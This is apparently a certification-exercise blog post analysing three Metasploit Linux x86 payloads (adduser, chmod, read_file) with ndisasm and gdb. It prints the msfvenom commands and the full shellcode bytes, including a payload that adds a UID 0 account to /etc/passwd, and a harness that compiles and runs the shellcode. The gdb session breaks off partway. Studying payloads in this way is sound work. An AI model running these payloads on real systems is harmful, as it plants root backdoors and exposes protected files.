SLAE32 Challenge #5 - Linux x86 metasploit shellcode analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-644

GitHub resource containing challenge files:

https://github.com/bl305/SLAE32

Local link to source files:

http://itfanatic.com/files/Challenge_05_Final.ZIP


Task: select and analyze 3 metasploit x86 shellcodes using ndisasm, libemu, gdb.

I have decided to analyze the following 3:

  • adduser
  • chmod
  • read_file

Selection method was the following. I have listed all the Linux x86 shellcodes from metasploit, eliminated the meterpreters and chose the first three that has not been already analyzed in the tutorials (e.g. execve has been).

Listed the candidates for analysis:

linux/x86/adduser                                   Create a new user with UID 0
linux/x86/chmod                                     Runs chmod on specified file with specified mode
linux/x86/exec                                      Execute an arbitrary command
linux/x86/read_file                                 Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_nonx_tcp                       Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp                            Spawn a command shell (staged). Listen for a connection
linux/x86/shell/find_tag                            Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp                       Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port                Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port                           Spawn a shell on an established connection
linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp2                        Connect back to attacker and spawn a command shell 

Analysis of "adduser"

First thing is to generate the shellcode in raw format for the ndisasm analysis.

msfvenom -p linux/x86/adduser user=SLAE32 pass=GOD -o myadduser1
 
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Saved as: myadduser1

Disassembled the code using ndisasm:

ITFanatic.com

ndisasm -u myadduser1

Output:

00000000  31C9              xor ecx,ecx		;zero out ECX register
00000002  89CB              mov ebx,ecx		;zero out EBX register by moving 0 into it
00000004  6A46              push byte +0x46 	;put 0x46 onto the stack
00000006  58                pop eax 		;read 0x46 into EAX
00000007  CD80              int 0x80		;call syscall 0x46 which is setgid
00000009  6A05              push byte +0x5	;put 0x5 on stack
0000000B  58                pop eax		;read 0x5 into EAX – will be syscall
0000000C  31C9              xor ecx,ecx		;zero out ECX
0000000E  51                push ecx		;put zero onto stack
0000000F  6873737764        push dword 0x64777373 ;put “sswd”
00000014  682F2F7061        push dword 0x61702f2f ;put “//pa”
00000019  682F657463        push dword 0x6374652f ;put “/etc”
;The whole thing together: „/etc/passwd“
0000001E  89E3              mov ebx,esp		;save ESP into EBX
00000020  41                inc ecx		;increase ECX (will be 1)
00000021  B504              mov ch,0x4		;put 0x4 into CH
00000023  CD80              int 0x80		;call syscall 0x5 – “open”
00000025  93                xchg eax,ebx		;exchange the values in eax (0x5) and ebx (used to be ESP – see above)
;the garbage below is data, will be shown in the debugger in a readable format
00000026  E824000000        call dword 0x4f		;data
0000002B  53                push ebx		;data
0000002C  4C                dec esp		;data
0000002D  41                inc ecx		;data
0000002E  45                inc ebp		;data
0000002F  3332              xor esi,[edx]	;data
00000031  3A417A            cmp al,[ecx+0x7a]	;data
00000034  69796D77447579    imul edi,[ecx+0x6d],dword 0x79754477		;data
0000003B  357A6B323A        xor eax,0x3a326b7a	;data
00000040  303A              xor [edx],bh		;data
00000042  303A              xor [edx],bh		;data
00000044  3A2F              cmp ch,[edi]		;data
00000046  3A2F              cmp ch,[edi]		;data
00000048  62696E            bound ebp,[ecx+0x6e]	;data
0000004B  2F                das			;data
0000004C  7368              jnc 0xb6		;data
0000004E  0A598B            or bl,[ecx-0x75]	;data
00000051  51                push ecx		;data
00000052  FC                cld			;data
00000053  6A04              push byte +0x4	;put 0x4 onto stack
00000055  58                pop eax		;read stack into EAX=0x4
00000056  CD80              int 0x80		;syscall to write file 0x4
00000058  6A01              push byte +0x1	;push 0x1 onto stack
0000005A  58                pop eax		;read stack into EAX
0000005B  CD80              int 0x80		;syscall “exit”

Determining syscalls:

less /usr/include/i386-linux-gnu/asm/unistd_32.h

ITFanatic.com

#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_brk 45
#define __NR_setgid 46 
#define __NR_getgid 47
#define __NR_signal 48

Decoding hex strings to ASCII using Perl:

perl -le 'print map {chr hex} qw/ 63 74 65 2f/'

OR

echo "63 74 65 2f"|perl -nE 'say map{chr(hex)} split'

Using this the output will be “cte/” -> which will be “/etc” because of little-endian

Generate payload for GDB:

msfvenom -p linux/x86/adduser user=SLAE32 pass=GOD -f c -o myadduser2.c

Output:

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Saved as: myadduser2.c

cat myadduser2.c 

Output:

unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x53\x4c"
"\x41\x45\x33\x32\x3a\x41\x7a\x69\x79\x6d\x77\x44\x75\x79\x35"
"\x7a\x6b\x32\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";

Script to put the generated C code into a “C” source and compile it:

#!/bin/bash
echo 'Usage: CH05_compile.sh shellcode'
echo '[+] Read code ...'
 
echo '[+] Assemble shellcode C ...'
 
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
cat $1 >> shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(buf));" >>shellcode.c
echo "  int (*ret)() = (int(*)())buf;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
 
echo '[+] Compile shellcode.c'
 
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
 
echo '[+] Done!'

Using GDB to analyze code:

ITFanatic.com

root@kali:~/Challenge05# gdb shellcode 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Challenge05/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel 
(gdb) break *&buf
Breakpoint 1 at 0x8049700
(gdb) run 
Starting program: /root/Challenge05/shellcode 
Shellcode Length:  40
 
Breakpoint 1, 0x08049700 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
=> 0x08049700 <+0>:	xor    ecx,ecx
   0x08049702 <+2>:	mov    ebx,ecx
   0x08049704 <+4>:	push   0x46
   0x08049706 <+6>:	pop    eax
   0x08049707 <+7>:	int    0x80
   0x08049709 <+9>:	push   0x5
   0x0804970b <+11>:	pop    eax
   0x0804970c <+12>:	xor    ecx,ecx
   0x0804970e <+14>:	push   ecx
   0x0804970f <+15>:	push   0x64777373
   0x08049714 <+20>:	push   0x61702f2f
   0x08049719 <+25>:	push   0x6374652f
   0x0804971e <+30>:	mov    ebx,esp
   0x08049720 <+32>:	inc    ecx
   0x08049721 <+33>:	mov    ch,0x4
   0x08049723 <+35>:	int    0x80
   0x08049725 <+37>:	xchg   ebx,eax
   0x08049726 <+38>:	call   0x804974f <buf+79>
   0x0804972b <+43>:	push   ebx
   0x0804972c <+44>:	dec    esp
   0x0804972d <+45>:	inc    ecx
   0x0804972e <+46>:	inc    ebp
   0x0804972f <+47>:	xor    esi,DWORD PTR [edx]
   0x08049731 <+49>:	cmp    al,BYTE PTR [ecx+0x7a]
   0x08049734 <+52>:	imul   edi,DWORD PTR [ecx+0x6d],0x79754477
   0x0804973b <+59>:	xor    eax,0x3a326b7a
   0x08049740 <+64>:	xor    BYTE PTR [edx],bh
   0x08049742 <+66>:	xor    BYTE PTR [edx],bh
   0x08049744 <+68>:	cmp    ch,BYTE PTR [edi]
   0x08049746 <+70>:	cmp    ch,BYTE PTR [edi]
   0x08049748 <+72>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804974b <+75>:	das    
   0x0804974c <+76>:	jae    0x80497b6
   0x0804974e <+78>:	or     bl,BYTE PTR [ecx-0x75]
---Type <return> to continue, or q <return> to quit---
   0x08049751 <+81>:	push   ecx
   0x08049752 <+82>:	cld    
   0x08049753 <+83>:	push   0x4
   0x08049755 <+85>:	pop    eax
   0x08049756 <+86>:	int    0x80
   0x08049758 <+88>:	push   0x1
   0x0804975a <+90>:	pop    eax
   0x0804975b <+91>:	int    0x80
   0x0804975d <+93>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb)

At this point I have defined a hook-stop and display variables to be able to follow the flow of the program:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble 
>end
(gdb) display /4s $esp
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b("
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
(gdb) display /x $edx
2: /x $edx = 0xb7fbf360
(gdb) display /x $ecx
3: /x $ecx = 0xbffff4a8
(gdb) display /x $ebx
4: /x $ebx = 0xb7fbdff4
(gdb) display /x $eax
5: /x $eax = 0x8049700

I have also set up breakpoints at the "int" interrupts, so syscalls can be analyzed:

(gdb) break *0x08049707
Breakpoint 2 at 0x8049707
(gdb) break *0x08049723
Breakpoint 3 at 0x8049723
(gdb) break *0x08049756
Breakpoint 4 at 0x8049756
(gdb) break *0x0804975b
Breakpoint 5 at 0x804975b

First break was at the syscall 0x46=70 which is the setgid.

(gdb) c
Dump of assembler code for function buf:
   0x08049700 <+0>:	xor    ecx,ecx
   0x08049702 <+2>:	mov    ebx,ecx
   0x08049704 <+4>:	push   0x46
   0x08049706 <+6>:	pop    eax
=> 0x08049707 <+7>:	int    0x80
Breakpoint 2, 0x08049707 in buf ()
5: /x $eax = 0x46
4: /x $ebx = 0x0
3: /x $ecx = 0x0
2: /x $edx = 0xb7fbf360
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b("
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"

Second break was at the file open (/etc/passwd):

Breakpoint 3, 0x08049723 in buf ()
5: /x $eax = 0x5
4: /x $ebx = 0xbffff4ac
3: /x $ecx = 0x401
2: /x $edx = 0xb7fbf360
1: x/4s $esp
0xbffff4ac:	 "/etc//passwd"
0xbffff4b9:	 ""
0xbffff4ba:	 ""
0xbffff4bb:	 ""

Looking at the next memory address we can identify the string that will be inserted into the "/etc/passwd" (only interesting till the \n character):

0x8049725 <buf+37>:	 "\223\350$"
0x8049729 <buf+41>:	 ""
0x804972a <buf+42>:	 ""
0x804972b <buf+43>:	 "SLAE32:AziymwDuy5zk2:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"

ITFanatic.com

x/4s 0x08049725
0x8049725 <buf+37>:	 "\223\350$"
0x8049729 <buf+41>:	 ""
0x804972a <buf+42>:	 ""
0x804972b <buf+43>:	 "SLAE32:AziymwDuy5zk2:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"

Break four was the file write:

Breakpoint 4, 0x08049756 in buf ()
5: /x $eax = 0x4
4: /x $ebx = 0x7
3: /x $ecx = 0x804972b
2: /x $edx = 0x24
1: x/4s $esp
0xbffff4ac:	 "/etc//passwd"
0xbffff4b9:	 ""
0xbffff4ba:	 ""
0xbffff4bb:	 ""

Break five was the exit:

Breakpoint 5, 0x0804975b in buf ()
5: /x $eax = 0x1
4: /x $ebx = 0x7
3: /x $ecx = 0x804972b
2: /x $edx = 0x24
1: x/4s $esp
0xbffff4ac:	 "/etc//passwd"
0xbffff4b9:	 ""
0xbffff4ba:	 ""
0xbffff4bb:	 ""
(gdb) c
Continuing.
[Inferior 1 (process 12718) exited with code 07]

Result is a new line in the /etc/passwd:

tail /etc/passwd

Output:

iodine:x:117:65534::/var/run/iodine:/bin/false
postgres:x:118:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
redsocks:x:119:128::/var/run/redsocks:/bin/false
stunnel4:x:120:129::/var/run/stunnel4:/bin/false
statd:x:121:65534::/var/lib/nfs:/bin/false
sslh:x:122:132::/nonexistent:/bin/false
Debian-gdm:x:123:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
rtkit:x:124:134:RealtimeKit,,,:/proc:/bin/false
saned:x:125:135::/home/saned:/bin/false
SLAE32:AziymwDuy5zk2:0:0::/:/bin/sh

ITFanatic.com


Analysis of "chmod"

Got available arguments for the chmod payload

msfvenom -p linux/x86/chmod --payload-options

Output:

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FILE  /etc/shadow      yes       Filename to chmod
MODE  0666             yes       File mode (octal)

Created a test file for the shellcode to play with:

touch test.txt
chown 777 test.txt
ls -l
-rwxrwxrwx 1  root root    0 May 28 07:44 test.txt

Generated the shellcode using the test file:

msfvenom -p linux/x86/chmod FILE=test.txt MODE=0666 -o mychmod1

Output:

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Saved as: mychmod1

Used ndisasm to disassemble:

ndisasm -u mychmod1

Output:

00000000  99                cdq			;sign-extend EAX into EDX:EAX
00000001  6A0F              push byte +0xf	;push 0xf=15 onto stack -> will be syscall “chmod”
00000003  58                pop eax		;read oxf into EAX
00000004  52                push edx		;put EDX (0?) onto stack
00000005  E809000000        call dword 0x13	;do magic
0000000A  7465              jz 0x71		;do magic
0000000C  7374              jnc 0x82		;do magic
0000000E  2E7478            cs jz 0x89		;do magic
00000011  7400              jz 0x13		;do magic
00000013  5B                pop ebx		;do magic
00000014  68B6010000        push dword 0x1b6	;do magic
00000019  59                pop ecx		;do magic
0000001A  CD80              int 0x80		;call syscall chmod
0000001C  6A01              push byte +0x1	;put 0x1 on stack
0000001E  58                pop eax		;read into EAX 0x1=exit
0000001F  CD80              int 0x80		;call syscall exit

Determine syscalls

less /usr/include/i386-linux-gnu/asm/unistd_32.h

Output:

#define __NR_exit 1
#define __NR_mknod 14
#define __NR_chmod 15
#define __NR_lchown 16

Decode hex strings to ASCII

perl -le 'print map {chr hex} qw/ 0f/'

OR

echo "0f"|perl -nE 'say map{chr(hex)} split'

Output:

“cte/” -> which will be “/etc” because of little endian

Generate payload for GDB analysis:

msfvenom -p linux/x86/chmod FILE=test.txt MODE=0666  -f c -o mychmod2.c

Output:

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Saved as: mychmod2.c

Show contents or the generated file:

cat mychmod2.c 
unsigned char buf[] = 
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x2e"
"\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";

Script to put the generated C code into a “C” source and compile:

#!/bin/bash
echo 'Usage: CH05_compile.sh shellcode'
echo '[+] Read code ...'
echo '[+] Assemble shellcode C ...'
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
cat $1 >> shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(buf));" >>shellcode.c
echo "  int (*ret)() = (int(*)())buf;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
echo '[+] Compile shellcode.c'
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
echo '[+] Done!'

Debug the code using GDB

ITFanatic.com

gdb shellcode 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Challenge05/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel 
(gdb) break *&buf
Breakpoint 1 at 0x8049700
(gdb) run
Starting program: /root/Challenge05/shellcode 
Shellcode Length:  7
 
Breakpoint 1, 0x08049700 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
=> 0x08049700 <+0>:	cdq    
   0x08049701 <+1>:	push   0xf
   0x08049703 <+3>:	pop    eax
   0x08049704 <+4>:	push   edx
   0x08049705 <+5>:	call   0x8049713 <buf+19>
   0x0804970a <+10>:	je     0x8049771
   0x0804970c <+12>:	jae    0x8049782
   0x0804970e <+14>:	cs
   0x0804970f <+15>:	je     0x8049789
   0x08049711 <+17>:	je     0x8049713 <buf+19>
   0x08049713 <+19>:	pop    ebx
   0x08049714 <+20>:	push   0x1b6
   0x08049719 <+25>:	pop    ecx
   0x0804971a <+26>:	int    0x80
   0x0804971c <+28>:	push   0x1
   0x0804971e <+30>:	pop    eax
   0x0804971f <+31>:	int    0x80
   0x08049721 <+33>:	add    BYTE PTR [eax],al
End of assembler dump.
 (gdb)

Define hook-stop to show disassembly

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble 
>end

Define display values of registers to follow events:

(gdb) display /4s $esp
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b\a"
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
(gdb) display /x $edx
2: /x $edx = 0xb7fbf360
(gdb) display /x $ecx
3: /x $ecx = 0xbffff4a8
(gdb) display /x $ebx
4: /x $ebx = 0xb7fbdff4
(gdb) display /x $eax
5: /x $eax = 0x8049700

Break before "int" interrupts to analyze syscalls:

(gdb) break *0x0804971a
Breakpoint 2 at 0x804971a
(gdb) break *0x0804971f
Breakpoint 3 at 0x804971f

First break at the syscall 0xf=15 which is the chmod

ITFanatic.com

(gdb) c
Breakpoint 2, 0x0804971a in buf ()
5: /x $eax = 0xf
4: /x $ebx = 0x804970a
3: /x $ecx = 0x1b6
2: /x $edx = 0x0
1: x/4s $esp
0xbffff4b8:	 ""
0xbffff4b9:	 ""
0xbffff4ba:	 ""
0xbffff4bb:	 "" 

To figure out which file is in scope for chmod:

(gdb) x/1s $ebx
0x804970a <buf+10>:	 "test.txt"

Break two is the exit:

Breakpoint 3, 0x0804971f in buf ()
5: /x $eax = 0x1
4: /x $ebx = 0x804970a
3: /x $ecx = 0x1b6
2: /x $edx = 0x0
1: x/4s $esp
0xbffff4b8:	 ""
0xbffff4b9:	 ""
0xbffff4ba:	 ""
0xbffff4bb:	 ""
(gdb) c
Continuing.
[Inferior 1 (process 13006) exited with code 012]

Check the results:

ls –l
-rw-rw-rw- 1  root root    0 May 28 07:44 test.txt

Everything operates as expected!


Analysis of "read_file"

Get available arguments for payload:

msfvenom -p linux/x86/read_file --payload-options

Output:

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Create test file:

echoread this” > /tmp/test.txt
cat /tmp/test.txt 

Output:

read this”

Generate code for ndisasm, raw output:

msfvenom -p linux/x86/read_file PATH=/tmp/test.txt -o myread1

Output:

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Saved as: myread1

Analyze code:

ndisasm -u myread1

Output:

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5		;set EAX=0x5 “open” file
00000007  5B                pop ebx		;read stack into EBX
00000008  31C9              xor ecx,ecx		;zero out ecx
0000000A  CD80              int 0x80		;syscall “open file”
0000000C  89C3              mov ebx,eax		;put EAX into EBX
0000000E  B803000000        mov eax,0x3		;put 0x3 into EAX, this will be file read
00000013  89E7              mov edi,esp		;move ESP into EDI
00000015  89F9              mov ecx,edi		;move EDI into ECX
00000017  BA00100000        mov edx,0x1000	;move 0x1000 into EDX
0000001C  CD80              int 0x80		;call file read syscall
0000001E  89C2              mov edx,eax		;move EAX into EDX
00000020  B804000000        mov eax,0x4		;move 0x4 into EAX, this will be a file write syscall
00000025  BB01000000        mov ebx,0x1		;move 0x1 into EBX
0000002A  CD80              int 0x80		;call syscall file write
0000002C  B801000000        mov eax,0x1		;move 0x1 into EAX, this will be exit syscall
00000031  BB00000000        mov ebx,0x0		;zero out EBX
00000036  CD80              int 0x80		;call exit syscall
00000038  E8C5FFFFFF        call dword 0x2	;data
0000003D  2F                das			;data
0000003E  746D              jz 0xad		;data
00000040  702F              jo 0x71		;data
00000042  7465              jz 0xa9		;data
00000044  7374              jnc 0xba		;data
00000046  2E7478            cs jz 0xc1		;data
00000049  7400              jz 0x4b		;data

Determine syscalls:

less /usr/include/i386-linux-gnu/asm/unistd_32.h

Output:

#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
 
MAN PAGES for syscalls:
 
READ(2)                                                      Linux Programmer's Manual                                                     READ(2)
NAME
       read - read from a file descriptor
SYNOPSIS
       #include <unistd.h>
       ssize_t read(int fd, void *buf, size_t count);
DESCRIPTION
       read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.  If count is zero, read() returns zero and has no other results.  If count is greater than SSIZE_MAX, the result is unspecified.
 
WRITE(2)                                                     Linux Programmer's Manual                                                    WRITE(2)
NAME
       write - write to a file descriptor
SYNOPSIS
       #include <unistd.h>
       ssize_t write(int fd, const void *buf, size_t count);
DESCRIPTION
       write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.
 
OPEN(2)                                                      Linux Programmer's Manual                                                     OPEN(2)
NAME
       open, creat - open and possibly create a file or device
SYNOPSIS
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>
       int open(const char *pathname, int flags);
       int open(const char *pathname, int flags, mode_t mode);
       int creat(const char *pathname, mode_t mode);
DESCRIPTION
 Given  a  pathname  for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(2), write(2), lseek(2), fcntl(2), etc.).  The file descriptor returned by a successful call will be the  lowest-numbered  file  descriptor  not currently open for the process. 
By  default,  the  new  file  descriptor  is set to remain open across an execve(2) (i.e., the FD_CLOEXEC file descriptor flag described in fcntl(2) is initially disabled; the O_CLOEXEC flag, described below, can be used to change this default).  The file offset is  set  to  the beginning of the file (see lseek(2)).

Decode hex strings to ASCII

perl -le 'print map {chr hex} qw/ 0f/'

OR

echo "0f"|perl -nE 'say map{chr(hex)} split'

Generate payload for GDB analysis:

msfvenom -p linux/x86/read_file PATH=/tmp/test.txt  -f c -o myread2.c

Output:

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Saved as: myread2.c

Check contents:

cat myread2.c
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x74\x6d\x70\x2f\x74\x65\x73\x74\x2e\x74\x78\x74\x00";

Script to put the generated C code into a “C” source and compile it:

#!/bin/bash
echo 'Usage: CH05_compile.sh shellcode'
echo '[+] Read code ...'
echo '[+] Assemble shellcode C ...'
echo "#include<stdio.h>" >shellcode.c
echo "#include<string.h>" >>shellcode.c
cat $1 >> shellcode.c
echo "main()" >>shellcode.c
echo "{" >>shellcode.c
echo "printf(\"Shellcode Length:  %d\n\", strlen(buf));" >>shellcode.c
echo "  int (*ret)() = (int(*)())buf;" >>shellcode.c
echo "  ret();" >>shellcode.c
echo "}" >>shellcode.c
echo '[+] Compile shellcode.c'
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
echo '[+] Done!'

Debud using GDB:

ITFanatic.com

gdb shellcode 
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Challenge05/shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel 
(gdb) break *&buf
Breakpoint 1 at 0x8049700
(gdb) run
Starting program: /root/Challenge05/shellcode 
Shellcode Length:  4
 
Breakpoint 1, 0x08049700 in buf ()
(gdb) disassemble 
Dump of assembler code for function buf:
=> 0x08049700 <+0>:	jmp    0x8049738 <buf+56>
   0x08049702 <+2>:	mov    eax,0x5
   0x08049707 <+7>:	pop    ebx
   0x08049708 <+8>:	xor    ecx,ecx
   0x0804970a <+10>:	int    0x80
   0x0804970c <+12>:	mov    ebx,eax
   0x0804970e <+14>:	mov    eax,0x3
   0x08049713 <+19>:	mov    edi,esp
   0x08049715 <+21>:	mov    ecx,edi
   0x08049717 <+23>:	mov    edx,0x1000
   0x0804971c <+28>:	int    0x80
   0x0804971e <+30>:	mov    edx,eax
   0x08049720 <+32>:	mov    eax,0x4
   0x08049725 <+37>:	mov    ebx,0x1
   0x0804972a <+42>:	int    0x80
   0x0804972c <+44>:	mov    eax,0x1
   0x08049731 <+49>:	mov    ebx,0x0
   0x08049736 <+54>:	int    0x80
   0x08049738 <+56>:	call   0x8049702 <buf+2>
   0x0804973d <+61>:	das    
   0x0804973e <+62>:	je     0x80497ad
   0x08049740 <+64>:	jo     0x8049771
   0x08049742 <+66>:	je     0x80497a9
   0x08049744 <+68>:	jae    0x80497ba
   0x08049746 <+70>:	cs
   0x08049747 <+71>:	je     0x80497c1
   0x08049749 <+73>:	je     0x804974b <buf+75>
   0x0804974b <+75>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb)

Set up a hook stop to disassamble:

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble 
>end

Set up display to monitor registers and stack:

(gdb) display /4s $esp
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b\004"
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"
(gdb) display /x $edx
2: /x $edx = 0xb7fbf360
(gdb) display /x $ecx
3: /x $ecx = 0xbffff4a8
(gdb) display /x $ebx
4: /x $ebx = 0xb7fbdff4
(gdb) display /x $eax
5: /x $eax = 0x8049700

Set up breakpoints for the syscalls:

(gdb) break *0x0804970a
Breakpoint 2 at 0x804970a
(gdb) break *0x0804971c
Breakpoint 3 at 0x804971c
(gdb) break *0x0804972a
Breakpoint 4 at 0x804972a
(gdb) break *0x08049736
Breakpoint 5 at 0x8049736

First break at the syscall 0x5=5 which is the open file

(gdb) c
Breakpoint 2, 0x0804970a in buf ()
5: /x $eax = 0x5
4: /x $ebx = 0x804973d
---Type <return> to continue, or q <return> to quit---
3: /x $ecx = 0x0
2: /x $edx = 0xb7fbf360
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b\004"
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"

To figure out which file is in scope for open:

(gdb) x/1s $ebx
0x804973d <buf+61>:	 "/tmp/test.txt"

Break two is the file read:

Breakpoint 3, 0x0804971c in buf ()
5: /x $eax = 0x3
4: /x $ebx = 0x7
---Type <return> to continue, or q <return> to quit---
3: /x $ecx = 0xbffff4bc
2: /x $edx = 0x1000
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b\004"
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"

We read the file contents into a buffer (ECX).

Break three is file write:

Breakpoint 4, 0x0804972a in buf ()
5: /x $eax = 0x4
4: /x $ebx = 0x1
---Type <return> to continue, or q <return> to quit---
3: /x $ecx = 0xbffff4bc
2: /x $edx = 0xfffffff2
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b\004"
0xbffff4c6:	 ""
0xbffff4c7:	 ""
